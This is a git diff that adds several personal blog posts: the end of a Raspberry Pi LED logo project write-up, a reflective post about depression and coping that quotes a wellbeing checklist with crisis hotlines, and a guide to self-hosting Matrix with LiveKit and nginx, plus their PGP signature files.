same-size buttons (respects **Safe Mode**), optional **duration** (0–180 min) with validation. +- `/schedule` — simple table editor; **Add Row** and **Save**; writes atomically. + +```python +@app.post("/set") +def set_mode(): + mode = request.form["mode"] + minutes = clamp( int(form["duration"]), 0, 180 ) + set_override(mode, minutes) + run_animation(animations[mode]["fn"]) + return redirect("/control") +``` + +*Why it’s like this:* minimal routes are easier to maintain and don’t compete with the art piece. + +--- + +### 6.10 Boot choreography + +At startup I: + +1. Try the **sensor thread** (if hardware is there). +2. Start the **scheduler thread**. +3. Immediately play **redpulse** (so there’s a friendly glow right away). +4. Start Flask; on shutdown I **clear the strip**. + +```python +if __name__ == "__main__": + _start_sensor() + threading.Thread(target=scheduler_loop, daemon=True).start() + run_animation(redpulse) + app.run(host="0.0.0.0", port=5000) +``` + +*Why it’s like this:* the room sees something alive instantly; the scheduler will swap in the “real” choice within a few seconds. + +--- + +### TL;DR (but keep the vibes) + +- **Frame-diff** = no flashes. +- **EMA + hysteresis** = smooth, truthful color. +- **Breathing** = presence, not signage. +- **Threads per thing** (LEDs / sensor / scheduler) = no fights. +- **Atomic files** = no corrupted schedules. +- **Safe Mode** by default = people > pixels. + +That’s it — the code behaves like a considerate colleague: dependable, quiet, and occasionally very pretty. + +### Why this shape of code? +- **One thread per hardware thing.** The sensor thread owns I²C. The animation thread owns LEDs. The scheduler just decides *what* to run and when. No bus fights. +- **Frame diff.** I only call `strip.show()` when a pixel actually changes. That’s why it doesn’t randomly flash during web requests. +- **Atomic schedule saves.** The code writes to a temporary file and replaces the old one so a mid‑save power cut can’t corrupt the schedule. + +> No, you don’t *need* the sensor. If it’s not connected, the app still runs; `co2_monitor` just sits at the default value. Well, technically it shows NaN as the numbers! But it is fun to have a sensor, don't you agree? + +--- + +## 7) Sensor Database — what it stores, where it lives, and how far it goes + +This project logs room conditions to a **tiny SQLite database** so you can graph trends, spot stuffy meetings, and keep a record without running a separate server. + +### What’s stored + +A single table called `readings`: + +```sql +CREATE TABLE IF NOT EXISTS readings ( + timestamp TEXT PRIMARY KEY, -- "YYYY-MM-DD HH:MM:SS" + co2 INTEGER, -- ppm + temperature REAL, -- °C + humidity REAL -- % +); +``` + +- One row per sample (typically every **5–60 seconds**; slow it down to reduce writes). +- `timestamp` is the primary key → easy “latest” queries and natural time ordering. + +### Where the file lives + +- Path is configurable via env var `DB_PATH` (see your systemd unit). +- Default: `sensor.db` in the app’s working directory (e.g. `/home/pi/inet-led/sensor.db`). + +Check size: + +```bash +ls -lh /home/pi/inet-led/sensor.db +``` + +### How writes happen (and why it’s safe) + +- The **sensor thread** owns I²C and inserts a row only when the sensor reports `data_ready`. +- Inserts are short and journaling protects against power loss. +- For friendlier read/write concurrency, enable WAL once at startup: + +```sql +PRAGMA journal_mode = WAL; +PRAGMA synchronous = NORMAL; +``` + +### Typical size & retention + +Back-of-envelope: + +- ~100–200 bytes per row (including overhead). +- 1 sample/minute → ~1,440 rows/day → **~150–300 KB/day** → **55–110 MB/year**. +- If you log every 5 seconds, multiply by ~12 (consider slower logging or downsampling). + +Prune old data (keep last 90 days): + +```sql +DELETE FROM readings +WHERE timestamp < date('now','-90 day'); +``` + +(Optionally run `VACUUM;` after large deletes to reclaim file space.) + +### Useful queries + +**Latest reading:** +```sql +SELECT * FROM readings ORDER BY timestamp DESC LIMIT 1; +``` + +**Range for charts (last 7 days):** +```sql +SELECT * FROM readings +WHERE timestamp >= datetime('now','-7 day') +ORDER BY timestamp; +``` + +**Downsample to hourly averages (30 days):** +```sql +SELECT strftime('%Y-%m-%d %H:00:00', timestamp) AS hour, + AVG(co2) AS co2, AVG(temperature) AS t, AVG(humidity) AS h +FROM readings +WHERE timestamp >= datetime('now','-30 day') +GROUP BY hour +ORDER BY hour; +``` + +**Export to CSV (example via sqlite3 CLI):** +```bash +sqlite3 /home/pi/inet-led/sensor.db <<'SQL' +.headers on +.mode csv +.output /home/pi/inet-led/export_readings.csv +SELECT * FROM readings ORDER BY timestamp; +.output stdout +SQL +``` + +### SD card friendliness + +- Choose a sensible interval (e.g., **30–60 s**). +- Optionally buffer in memory and write every N samples. +- Prefer WAL mode; periodically prune & vacuum. +- If you care about card wear, place the DB on USB/SSD. + +### Backups & restore + +**Nightly backup (simple):** +```bash +sqlite3 /home/pi/inet-led/sensor.db ".backup '/home/pi/backup/sensor-$(date +%F).db'" +``` + +**Restore:** +1. `sudo systemctl stop inet-led` +2. Copy backup file back to `/home/pi/inet-led/sensor.db` +3. `sudo systemctl start inet-led` + +### Security & permissions + +```bash +chown pi:pi /home/pi/inet-led/sensor.db +chmod 600 /home/pi/inet-led/sensor.db +``` + +Keep the app directory non-world-readable. + +### Is SQLite the right choice? + +**Yes, for a single Pi** logging every few seconds and rendering local charts: +- ✅ Zero admin, a single file, reliable journaling, great performance at this scale. +- ⚠️ One writer at a time (I only have the sensor thread writing, so it’s fine). +- ⬆️ If you later need multi-device ingestion, alerts, or >10s of millions of rows, consider a time-series DB (TimescaleDB/InfluxDB/VictoriaMetrics) and migrate using CSV exports. + +### TL;DR + +SQLite is perfect here: **simple, robust, easy to back up**. Start with it, and only upgrade when your ambitions outgrow a single Raspberry Pi. + +--- + +## 8) Run at Boot (systemd) + +I wrote this simple systemd to `/etc/systemd/system/inet-led.service` so that it runs the script when RPi boots up: + +```ini +[Unit] +Description=INET LED Panel +After=network.target + +[Service] +ExecStart=/usr/bin/python3 /home/pi/inet-led/inet_led_panel.py +WorkingDirectory=/home/pi/inet-led +Restart=always +User=pi +Environment=LED_COUNT=78 +Environment=SCHEDULE_FILE=/home/pi/inet-led/schedule.json +Environment=DB_PATH=/home/pi/inet-led/sensor.db + +[Install] +WantedBy=multi-user.target +``` + +Then you can run: + +```bash +sudo systemctl daemon-reload +sudo systemctl enable --now inet-led +journalctl -u inet-led -f +``` + +to control the systemd service. + +--- + + + +## 9) Soldering Notes (a love letter to hot glue) + +- **Tin first, solder second.** Tiny pads like tiny puddles. Fast in/out, no lifted pads. +- **Stagger joints** so nothing stacks under the diffuser. +- **Heat‑shrink + a dot of hot glue** = happier future you. +- **Continuity before power.** Multimeter first, electrons last. +- If a pad *does* lift: magnet wire to a trace, UV mask to seal. Ugly heroics, but it works. + +Besides the soldering part, I also used m2 screws to fix the diffusers. Initially magnets were suggested, but I felt like figuring that out might take me long, and screws just feel more maintainable... So... yea. + +--- + +## 10) Why these design choices? + +- **Calm motion, not flashy.** Meeting rooms breed fatigue; the light should be a helper, not a distraction. +- **Cyan→Purple language.** Easy to learn, visible at a glance, meaningful without numbers. +- **White charts, dark UI.** Data should be legible on a projector; buttons shouldn’t shout. +- **Safe Mode default.** People first. Demos are opt‑in. +- **PLA body, PLA diffuser.** Fast and easy rapid prototyping, easy and fast printing. + +--- + +## 11) What I learned + +- A logo is a better messenger than a dashboard. +- Everyone knows what **orange** means without a legend. +- If you show the room a mirror, it corrects itself. Someone will open the door long before you have to ask, and if someone notices the orange/red color of the logo, they would hint the end of the gathering! +- Sometimes debugging is not fun at all, and you want to bang your head to the wall, but try not to! Life is short. ^^ + +--- + +## 12) Final notes +I did this project as a fun distraction and "not work" as my advisor tells me to do all the time. My advisor provided the LED strip, RPi zero 2 W, and the voltage divider. I got the sensor, designed and coded everything else, and had a lot of fun doing so. I'm so so thankful of my advisor for this cool idea, and all the support. It's not the first time I've been gifted such toys, and as I have recieved other things after that, I know it's not the last. + +There is a bug I never was able to figure out, sometimes when I stop the script, I get segmentation fault. I know it is not directly my code with extensive testing, and that the problem is with the library, but I never understood why it happens. Let's hope that doesn't turn into a backdoor into my logo. * Shakingly crosses fingers and sighs in distress!* + +The whole project took around 8 days, 4 of which were part of a long weekend. I did do some "not work" as Tobias always tells me to do, and honestly it was fun and refreshing! I really enjoyed it. I don't know how the group feels/thinks about the logo, but I love it! I hope it won't die after I leave, but even if so, so be it. I had my fun with it. :) + +--- + +{{< sigdl >}} diff --git a/public-clearnet/sources/posts/inet_logo.md.asc b/public-clearnet/sources/posts/inet_logo.md.asc new file mode 100644 index 0000000..ae07e1c --- /dev/null +++ b/public-clearnet/sources/posts/inet_logo.md.asc @@ -0,0 +1,16 @@ +-----BEGIN PGP SIGNATURE----- + +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuIACgkQtYgoUOBM +jSoc5w/+Ij7a9UuglnzXQSMNA8VkN84qokmVTaI9mN6BY/aJQLjWWwJFi5Ih7qKw +0oWl2ZZ6FHKdAo2+gAajxhg0vf0DUGZNwsD0NJsHAuei8ezvgb4TKIfAMspKC+9J +CgcvqbZdC+M2c3PcPPA4UV5reYclf9PisEsmJSiR+cyDaCtNJkYjQ9SSZMO+BV93 +k6I20tEILeR/l72ahSGyGCQxFTkI+cE5EOglG+AJP7HnLArcBUplixjLS7j/gq13 +U/TeRhI5R6RG0sCzaTsyUMhfc/7be0PeU5EZTf8e21dv6c6RRWiYe+kXXv1wH1yE +sfJnMxiQ2YJqxUXDjJNJt1R+4yWpznmqYoOcW1/T8ySuYCrzx5XBdGB9XThQAxZg +sDsV6dgcPJUSvpuZqPmQicTu/+BL9QdmB4bASxDhRUX2KkK1RKRTBGP73l79vUmP +QUuBm7o7sHpSUax7CEE+vbjC9FubL5D6i6nSIesTImpR2P7ycaWboFPYREC2q3ma +B/WmnHiYbrhiLMNRrAHFdiCSHPd9JKiNK+9C8ASsDpEz8yvf2Ef9yhp0sYZ6ZBkb +Bs+BKOoDWDsI7NkT/hFBeWMrTTWpTDoRf2UGk1HI2Iaz7Fh+hXljpEPyQ/Mq3s0X +o9h8Z1rq9m7nIwmpLNW+vEiL81/SrnjJE8/+kA/+J2p9TNBYcn8= +=tAeg +-----END PGP SIGNATURE----- diff --git a/public-clearnet/sources/posts/loop_of_doom.md b/public-clearnet/sources/posts/loop_of_doom.md new file mode 100644 index 0000000..af253f9 --- /dev/null +++ b/public-clearnet/sources/posts/loop_of_doom.md @@ -0,0 +1,108 @@ ++++ +title = 'The Loop of Doom' +date = 2025-11-07T13:45:52Z +draft = false ++++ + +It all started after I came back from my trip to Turkey. I was actually doing really good the first three weeks, or at least I think so. Actually, looking back at it, I maybe wasn't. Well I had to take like two exams and studied for them, but that was also not good enough. I have not really been able to focus on my work and studies lately. I've been feeling more down, sad, exhausted. I've been wanting to stay alone at home. To rest. And then I get stressed and sad because I'm not doing anything. I get the feeling of worthlessness a lot lately. It's exhausting. + +Funny how I loved my research, the group, the people, hanging out, trying new things. It's just funny how everything changed all of the sudden. How I don't feel anything anymore. How sad I've been. How down I've been. My cognitive functions, my memory and everything has been also badly damaged. It's just horrible. + +I've been also overthinking about my interactions and relationships with people, how they look at me, how they judge me, how they feel about me. And for some reason I tend to care a lot. This has also been extremely exhausting to me. + +I was reading about Major Depressive Disorder (MDD) last week. I brought it up in my therapy session too. My therapist said "why do you want to label things?". + +This is actually a really valid question. I don't know why, maybe because it helps me think about it less? I can put a label on it and store it somewhere in my brain? Maybe. Idk. + +This is what I call the loop of doom. MDD. I don't even know if I'm experiencing it or not. All I know is that things are not right, and I don't feel well. + +Now here is the problem. You start not performing well, then you hate yourself for not performing well, then you take it harder to yourself and it doesn't work, then you hate yourself more, and it repeats and repeats until you are completely disfunctional. Most cases that get stuck in MDD get suicidal thoughts which is horrible. Thinking about a quick relief for yourself is just forgetting the values you bring to the world. + +I'm happy that I've not been thinking about these things, the scary things. But this is the first thing doctors ask you. Just to make sure. + +It's sad because I can see it in my monthly reports, in the [PhD_journey](https://blog.alipourimjourneys.ir/phd_journey/) page of my blog. I can see how bad last month was, and I know this month has not been any better. It's just scary, and sad. I know I'm losing precious time that I cannot get back. I know at some point I'm expected to deliver results that I won't have, and I know I won't like myself when this inevitable happens. + +I really do not know what to do. I contacted my thrapist again today to see if he can help me or not. Let me list some stuff I've been told to do by my brother in the meanwhile: +- Going for short walks +- Doing small tasks that make me feel good +- idk... I don't remember anything else. + +ChatGPT also gave me some advice, I'll copy it here: +```markdown= +# 14‑Day Reset — Daily Checklist + +**Name:** _____________________ **Start date (Day 1):** ______________ **Wake time target:** ________ + +### How to use (60 seconds) + +* Each day, check **two tiny tasks**: one **Study MRD** and one **Work/Code MRD** (≤15 min each). +* Do **2 short sprints** (start at 10 min on / 2 min off). Stop when the timer ends. +* Log the **evening 2‑minute check‑in** in the table (mood, sleep, meds, sprints, one win). +* If no improvement by **Day 7**, escalate with your prescriber; reassess again on **Day 14**. + +### Define today’s Minimum Reliable Dose (MRD) + +*(Write clear, tiny actions with a start line → action → done proof.)* + +* **Study MRD:** ________________________________________________________________ +* --- +* **Work/Code MRD:** ____________________________________________________________ +* --- + +--- + +### Daily tracker (14 days) + +| Day/Date | Outside 10–15m | Study MRD | Work MRD | Sprints (0/1/2) | Mood 0–10 | Sleep hrs | Meds Y/N | One win / Notes | +| -------------------------- | :------------: | :-------: | :------: | :-------------: | :-------: | :-------: | :------: | ------------------------------ | +| 1 / ____ | ☐ | ☐ | ☐ | 0 1 2 | __ | __ | Y / N | ______________________________ | +| 2 / ____ | ☐ | ☐ | ☐ | 0 1 2 | __ | __ | Y / N | ______________________________ | +| 3 / ____ | ☐ | ☐ | ☐ | 0 1 2 | __ | __ | Y / N | ______________________________ | +| 4 / ____ | ☐ | ☐ | ☐ | 0 1 2 | __ | __ | Y / N | ______________________________ | +| 5 / ____ | ☐ | ☐ | ☐ | 0 1 2 | __ | __ | Y / N | ______________________________ | +| 6 / ____ | ☐ | ☐ | ☐ | 0 1 2 | __ | __ | Y / N | ______________________________ | +| **7 / ____ (Checkpoint)** | ☐ | ☐ | ☐ | 0 1 2 | __ | __ | Y / N | **PHQ‑9 today = ____** | +| 8 / ____ | ☐ | ☐ | ☐ | 0 1 2 | __ | __ | Y / N | ______________________________ | +| 9 / ____ | ☐ | ☐ | ☐ | 0 1 2 | __ | __ | Y / N | ______________________________ | +| 10 / ____ | ☐ | ☐ | ☐ | 0 1 2 | __ | __ | Y / N | ______________________________ | +| 11 / ____ | ☐ | ☐ | ☐ | 0 1 2 | __ | __ | Y / N | ______________________________ | +| 12 / ____ | ☐ | ☐ | ☐ | 0 1 2 | __ | __ | Y / N | ______________________________ | +| 13 / ____ | ☐ | ☐ | ☐ | 0 1 2 | __ | __ | Y / N | ______________________________ | +| **14 / ____ (Checkpoint)** | ☐ | ☐ | ☐ | 0 1 2 | __ | __ | Y / N | **PHQ‑9 today = ____** | + +--- + +### Quick reference + +**Paper — 12‑min read:** 3 min skim (title/abstract/figures/conclusion) → 7 min one figure + its paragraph → 2 min 3 bullets (Claim / Evidence / Open question). + +**Code — restart protocol:** + +1. Open repo → `git status` → run tests/linter → open last‑changed file. +2. Choose **one smallest step** (≤10 min): e.g., add a failing test, reproduce a bug, rename a variable, add a log. +3. **Stuck 3‑step (2 min each):** talk it out / write exact error → minimal repro or tiny test → read one doc page. If still stuck after ~15–20 min, park it with the **next guess**. + +--- + +### Safety net (Germany) + +* **Emergency:** 112 +* **TelefonSeelsorge (24/7):** 0800 111 0 111 · 0800 111 0 222 · 116 123 + If risk rises (can’t stay safe, intense agitation/akathisia), seek same‑day care. +``` + +Lmao. I wonder how things will progress in the future, and how I'll do. Was it really because of a failed relationship? Really? Something that never happened? I don't believe it, it's not possible. Or was it because I had the feeling of being used, and thrown away. Maybe if I kept contact I wouldn'tve these feelings. Maybe, just maybe. + +But I do feel many many other bad things also happened. Like me not getting good grades in two of my courses (both of which turned out to be outliers, with one only 20% passing the course(!) and the other having a much worse average that previous exam iterations). My paper also got rejected. My research was criticized and shat on heavily. And I felt lonely a lot since I wasn't being invited to many things other people were. I gained a lot of weight. I lost few friendships I wanted to keep. Some people I cared about started to hate me. And some of the people I considered as friends kept not including me in their plans, making me nervous that things are not right. + +Darn. That is a lot. Lot of bad things. Back to back to back. + +Ok. Let's break the loop. How can I do that? Maybe by starting new habits? By going to gym at nights? By eating healthier? By losing weight? By taking baby steps in literature review and my code? By organizing fun things with people? Idk. I really don't. But I will figure it out and make it work. I have to. I ain't, and I wasn't brought up like this. Let's fleaping go... + +I try to keep ya'll, the empty list of people, updated. + + + +--- + +{{< sigdl >}} diff --git a/public-clearnet/sources/posts/loop_of_doom.md.asc b/public-clearnet/sources/posts/loop_of_doom.md.asc new file mode 100644 index 0000000..35108ce --- /dev/null +++ b/public-clearnet/sources/posts/loop_of_doom.md.asc @@ -0,0 +1,16 @@ +-----BEGIN PGP SIGNATURE----- + +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuYACgkQtYgoUOBM +jSq5fw/+OIEZpkK2C+NVLDU7fRma6IMFlq/XcJIFuC416au47cTEhETuvWGMCvo1 +uzwHMPamUdBUtZkK7Lk0RbzOFWo+ru4vtmcKe2XZoRUTUofB5+rPkPLz4OzoIyLX +mvrCb91MbWC3pB176Ul83HBe/797QzFTsDiFw3cDtHB2yOeVY5zNejttdbwqMLyK +g7lbDCDf1GqtrNRgs1KqV0T9qoOesP9yhxXN/eIbaAUc8OIPUsBMB6/LG+RWtycp +X6iSBX30MfDo6DCpTncowKs8/4Plv30oIgsqLJlKK7Gd5IamYxtmoWeOSj15BT4n +TCn/G1olSfsnREX9/rY9xipTQDO0KaQNqG7q0y4gFvAE/C5ur5G5V6TtesDTEvLv +bNNrRuF/0+t9EOkJFvo1dCnuPLd/Ufl7BI4Yc1QErMODp6g8LoU2PRHTUJZCK9hK +PgS93JpDpYhURaH1f18b1YLgpEbIAR+AcwTlljeU8fVicHwbH0/vP9igASAJKJC6 +2JheKwf1G2pFxMYfGus1evdHbKHS44s3xNF8pITFrTeUE/1CH+JBWRoyCjGgNsOA +XHDIDxFNuZFZYIhUk6wDhYTKrQiVATCubtBNgUaIZutL6SBzHFCxhknbBdKpFxc1 +f7BJMvRa6uQco/ySzaVW8Zl14zaIXhZW1dpmitSuVDbnufkHhhU= +=Cuma +-----END PGP SIGNATURE----- diff --git a/public-clearnet/sources/posts/matrix_setup.md b/public-clearnet/sources/posts/matrix_setup.md new file mode 100644 index 0000000..7ddf478 --- /dev/null +++ b/public-clearnet/sources/posts/matrix_setup.md @@ -0,0 +1,426 @@ +--- +title: "Self-hosting Matrix + Element Call with LiveKit: from zero to working (and the [not so!!] fun debugging along the way)" +date: 2025-08-26 +tags: ["matrix", "synapse", "element-call", "livekit", "coturn", "nginx", "webrtc", "self-hosting", "debugging"] +draft: false +description: "How I set up a Matrix homeserver (Synapse) with TURN and Element Call using LiveKit, plus the exact debugging steps that took it from 'waiting for media' to solid calls." +cover: + image: "/images/matrix-cover.png" + alt: "Matrix, Signal but distributed" + caption: "Distributed end-to-end encrypted chat platform" + relative: true + hidden: false +--- + +> TL;DR: The call kept saying **“waiting for media”** because the browser never opened a WebSocket to LiveKit. The root cause was **duplicate `Access-Control-Allow-Origin` headers** on `/sfu/get` (CORS), which stopped the JWT response. Fixing CORS and ensuring the WS proxy worked (HTTP **101** in logs) solved it. + +## What I'm building + +- A **Matrix homeserver** (Synapse) at `matrix.example.com` (replace with your domain). +- **TURN/STUN** (coTURN) for NAT traversal. +- **Element Call** backed by **LiveKit**, fronted by `rtc.example.com`. +- **Nginx (host)** as the single reverse proxy for everything. +- **Cloudflare** DNS (with `rtc.*` set to **DNS-only**, no orange cloud). +- **UFW** firewall opened for Matrix federation, TURN, and LiveKit media ports. + +> I used Docker for Synapse, PostgreSQL, LiveKit and the JWT helper. I used **host** Nginx (not Nginx in Docker) to avoid port binding conflicts on 80/443/8448. + +--- + +## Prereqs + +- DNS A/AAAA: + - `matrix.example.com` → your server (v4/v6) + - `rtc.example.com` → your server (v4/v6) +- Certificates: + - `matrix.example.com` and `rtc.example.com` via Let’s Encrypt on the host +- Cloudflare: **DNS-only (grey cloud)** for `rtc.example.com` so WebSockets & UDP work without interference. +- UFW / firewall open: + - 80/tcp, 443/tcp + - 8448/tcp (Matrix federation) + - 3478/tcp, 3478/udp and **5349/tcp** (TURN/TLS) + - **LiveKit**: 7881/tcp and **50100–50200/udp** (or your chosen range) +- Docker + docker compose installed. + +--- + +## Synapse + PostgreSQL + +### 1) The PostgreSQL collation gotcha + +Synapse prefers the database collation **`C`**. If your Postgres cluster was initialized with `en_US.utf8`, Synapse will error like: + +``` +Database has incorrect collation of 'en_US.utf8'. Should be 'C' +``` + +**Two ways to resolve:** + +- **Preferred (clean)**: Re-initialize the Postgres **cluster** with `C` and `UTF-8`: + +```yaml +# docker-compose.yml (excerpt for Postgres) +services: + db: + image: postgres:16 + environment: + POSTGRES_DB: synapse + POSTGRES_USER: synapse + POSTGRES_PASSWORD: + POSTGRES_INITDB_ARGS: "--locale=C --encoding=UTF8 --lc-collate=C --lc-ctype=C" + volumes: + - ./pgdata:/var/lib/postgresql/data +``` + +> Requires wiping the volume and recreating the DB. + +- **Pragmatic (works quickly)**: In Synapse’s DB config, set `allow_unsafe_locale: true`. This bypasses the check. It’s fine for hobby use; for production, prefer the clean `C` cluster. + +### 2) Start Synapse and generate config + +```bash +docker compose up -d db synapse +# Logs +docker compose logs --tail=200 synapse +``` + +Ensure Synapse prints your **server_name** and **public base URL** and stays up. + +### 3) Create an admin user + +```bash +# Exec into the running Synapse container: +docker compose exec synapse register_new_matrix_user \ + -c /data/homeserver.yaml -u -p \ + -a -k +``` + +> If you see “Unknown execution mode”, you probably ran the binary with the wrong entrypoint. Use `docker compose exec synapse …` against the running container. + +--- + +## TURN (coTURN) + +### 1) Avoid bad inline comments + +If you see errors like: + +``` +ERROR: Unknown boolean value: # log to journald/syslog. You can use on/off, yes/no, 1/0, true/false. +``` + +…it means a `#` comment is on the **same line** as a boolean directive. Move comments to their own lines. + +### 2) Minimal `turnserver.conf` + +```ini +listening-port=3478 +tls-listening-port=5349 +fingerprint +use-auth-secret +static-auth-secret= # also set in Synapse +realm=example.com # used in creds generation +total-quota=0 +bps-capacity=0 +cli-password= +no-cli +cert=/etc/letsencrypt/live/turn.example.com/fullchain.pem +pkey=/etc/letsencrypt/live/turn.example.com/privkey.pem +# If behind NAT: +# external-ip=/ +``` + +### 3) Wire TURN into Synapse + +In `homeserver.yaml`: + +```yaml +turn_uris: + - "turn:turn.example.com?transport=udp" + - "turn:turn.example.com?transport=tcp" + - "turns:turn.example.com:5349?transport=tcp" +turn_shared_secret: "" +turn_user_lifetime: "1d" +``` + +Verify the homeserver issues TURN creds: + +```bash +TOKEN='' +curl -s -H "Authorization: Bearer $TOKEN" \ + https://matrix.example.com/_matrix/client/v3/voip/turnServer | jq +``` + +You should see `uris`, a time-limited `username` and `password`. + +--- + +## Nginx (host) for Synapse and federation + +Create `/etc/nginx/conf.d/matrix.conf`: + +```nginx +# Client traffic on 443 +server { + listen 443 ssl; listen [::]:443 ssl; + server_name matrix.example.com; + + ssl_certificate /etc/letsencrypt/live/matrix.example.com/fullchain.pem; + ssl_certificate_key /etc/letsencrypt/live/matrix.example.com/privkey.pem; + + # Proxy client & admin APIs to Synapse (container) on 8008 + location ~ ^(/_matrix|/_synapse/client) { + proxy_pass http://127.0.0.1:8008; + proxy_set_header X-Forwarded-For $remote_addr; + proxy_set_header X-Forwarded-Proto $scheme; + proxy_set_header Host $host; + client_max_body_size 50M; + } + + # Advertise homeserver base + RTC focus (MSC4143) via .well-known + location = /.well-known/matrix/client { + default_type application/json; + add_header Access-Control-Allow-Origin "*" always; + return 200 '{"m.homeserver":{"base_url":"https://matrix.example.com"},"org.matrix.msc4143.rtc_foci":[{"type":"livekit","livekit_service_url":"https://rtc.example.com"}]}'; + } +} + +# Federation on 8448 +server { + listen 8448 ssl http2; listen [::]:8448 ssl http2; + server_name matrix.example.com; + + ssl_certificate /etc/letsencrypt/live/matrix.example.com/fullchain.pem; + ssl_certificate_key /etc/letsencrypt/live/matrix.example.com/privkey.pem; + + location / { + proxy_pass http://127.0.0.1:8008; + proxy_set_header X-Forwarded-For $remote_addr; + proxy_set_header X-Forwarded-Proto $scheme; + proxy_set_header Host $host; + client_max_body_size 50M; + } +} +``` + +Reload and sanity check: + +```bash +sudo nginx -t && sudo systemctl reload nginx +curl -s https://matrix.example.com/.well-known/matrix/client | jq +``` + +Also check Synapse supports RTC signaling (MSC4140) so clients actually use it: + +```bash +curl -s https://matrix.example.com/_matrix/client/versions | jq '.unstable_features."org.matrix.msc4140"' +# expect: true +``` + +--- + +## Element Call + LiveKit + +I’ll run **LiveKit** and the small **JWT helper** (Element’s `elementcall_jwt`) in Docker. LiveKit handles media; the JWT helper mints access tokens for WebSocket connects. + +### 1) LiveKit config (`/etc/livekit.yaml` inside container) + +```yaml +port: 7880 +bind_addresses: ["0.0.0.0"] +rtc: + tcp_port: 7881 + port_range_start: 50100 + port_range_end: 50200 + use_external_ip: true +logging: + level: info +turn: + enabled: false +keys: + lk_prod_1: "REPLACE_WITH_A_64_CHAR_RANDOM_SECRET___________________________________" +``` + +> **Important:** the secret must be **>= 32 chars**. The default `devkey` will trigger `secret is too short` warnings and won’t work with the JWT helper. + +### 2) elementcall_jwt env + +Run it with: + +- `LIVEKIT_URL=wss://rtc.example.com` _(root WS URL, **no** `/livekit/sfu` path)_ +- `LIVEKIT_KEY=lk_prod_1` +- `LIVEKIT_SECRET=` +- `LIVEKIT_JWT_PORT=8080` (internal HTTP port the proxy will hit) +- Optionally: `LIVEKIT_FULL_ACCESS_HOMESERVERS=*` during setup + +Check logs on start; it prints the LIVEKIT_URL it will advertise. + +### 3) Nginx (host) for `rtc.example.com` + +Create `/etc/nginx/conf.d/rtc.conf`: + +```nginx +server { + listen 443 ssl; listen [::]:443 ssl; + server_name rtc.example.com; + + ssl_certificate /etc/letsencrypt/live/rtc.example.com/fullchain.pem; + ssl_certificate_key /etc/letsencrypt/live/rtc.example.com/privkey.pem; + + access_log /var/log/nginx/rtc.access.log combined; + + # 3a) JWT endpoint with clean CORS (avoid duplicate ACAO) + location = /sfu/get { + proxy_hide_header Access-Control-Allow-Origin; + add_header Access-Control-Allow-Origin $http_origin always; + add_header Vary "Origin" always; + add_header Access-Control-Allow-Methods "POST, OPTIONS" always; + add_header Access-Control-Allow-Headers "Accept, Content-Type, Content-Length, Accept-Encoding, X-CSRF-Token, Authorization" always; + if ($request_method = OPTIONS) { return 204; } + + proxy_set_header Host $host; + proxy_set_header X-Forwarded-Proto $scheme; + proxy_pass http://127.0.0.1:8070/sfu/get; # elementcall_jwt + } + + # 3b) LiveKit WS & HTTP (catch-all) + location / { + proxy_http_version 1.1; + proxy_set_header Upgrade $http_upgrade; + proxy_set_header Connection "upgrade"; + proxy_set_header Sec-WebSocket-Protocol $http_sec_websocket_protocol; # "livekit" + proxy_set_header Origin $http_origin; + proxy_set_header Host $host; + proxy_set_header X-Forwarded-Proto $scheme; + proxy_buffering off; + proxy_read_timeout 3600s; + proxy_pass http://127.0.0.1:7880; # livekit + } +} +``` + +Reload and basic checks: + +```bash +sudo nginx -t && sudo systemctl reload nginx +# JWT preflight (should return a single ACAO header) +curl -si -X OPTIONS https://rtc.example.com/sfu/get \ + -H 'Origin: https://app.element.io' \ + -H 'Access-Control-Request-Method: POST' \ + -H 'Access-Control-Request-Headers: authorization, content-type' | sed -n '1,30p' +# Expected: one Access-Control-Allow-Origin and 200/204 +``` + +> **Why I did this:** I initially had **two** `Access-Control-Allow-Origin` headers (one added by the upstream, one by Nginx). Browsers reject that with “Access-Control-Allow-Origin cannot contain more than one origin”, so the JWT response never reached the client. Fixing CORS fixed everything. + +--- + +## The “waiting for media” debugging story (how I found it) + +Symptom: Element Call created rooms, but calls stayed on **“waiting for media.”** + +What worked: +- `elementcall_jwt` could **CreateRoom** in LiveKit (seen in logs). +- TURN creds endpoint returned time-limited credentials. + +What didn’t appear: +- No **HTTP 101** lines in `rtc.access.log` → the **browser never established a WebSocket** to LiveKit. + +### Step 1: prove the WS vhost works (even without auth) + +```bash +curl -v --http1.1 \ + -H 'Connection: Upgrade' -H 'Upgrade: websocket' \ + -H 'Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==' \ + -H 'Sec-WebSocket-Version: 13' \ + https://rtc.example.com/rtc -o /dev/null +``` +Result: I got a `401` (expected), but importantly I saw a log line in `rtc.access.log`. So **Nginx WS proxying was fine**. + +### Step 2: check the browser console + +The smoking gun in DevTools: + +``` +Access-Control-Allow-Origin cannot contain more than one origin. +Fetch API cannot load https://rtc.example.com/sfu/get due to access control checks. +``` + +The browser refused the JWT call due to duplicated **ACAO** headers, so no token → no WebSocket connect. + +**Fix:** in Nginx I added: + +```nginx +proxy_hide_header Access-Control-Allow-Origin; +add_header Access-Control-Allow-Origin $http_origin always; +add_header Vary "Origin" always; +``` + +…and ensured no other `add_header` created duplicates. After that, `/sfu/get` succeeded and the WebSocket to `wss://rtc.example.com` immediately followed (I saw **HTTP 101** in the logs). + +### Step 3: confirm LiveKit side + +Once the WS was up, LiveKit logs showed participants joining (not just `RoomService.CreateRoom`), and calls were established. + +--- + +## Useful verification commands + +```bash +# Synapse features (expect MSC4140 true) +curl -s https://matrix.example.com/_matrix/client/versions | jq '.unstable_features."org.matrix.msc4140"' + +# Well-known with RTC focus +curl -s https://matrix.example.com/.well-known/matrix/client | jq + +# TURN creds (with your access token) +curl -s -H "Authorization: Bearer $TOKEN" \ + https://matrix.example.com/_matrix/client/v3/voip/turnServer | jq + +# JWT health +curl -si -X POST https://rtc.example.com/sfu/get + +# LiveKit simple HTTP probe +curl -si https://rtc.example.com | head + +# Nginx logs (look for 101 Switching Protocols when a call starts) +sudo tail -f /var/log/nginx/rtc.access.log | grep ' 101 ' +``` + +--- + +## Common pitfalls (I hit these so you don’t have to) + +- **Host Nginx vs Docker Nginx:** If you already run Nginx on the host, don’t also bind 80/443/8448 in a Docker Nginx — you’ll get `bind() ... already in use` and restart loops. Use **host** Nginx to reverse proxy to containers. +- 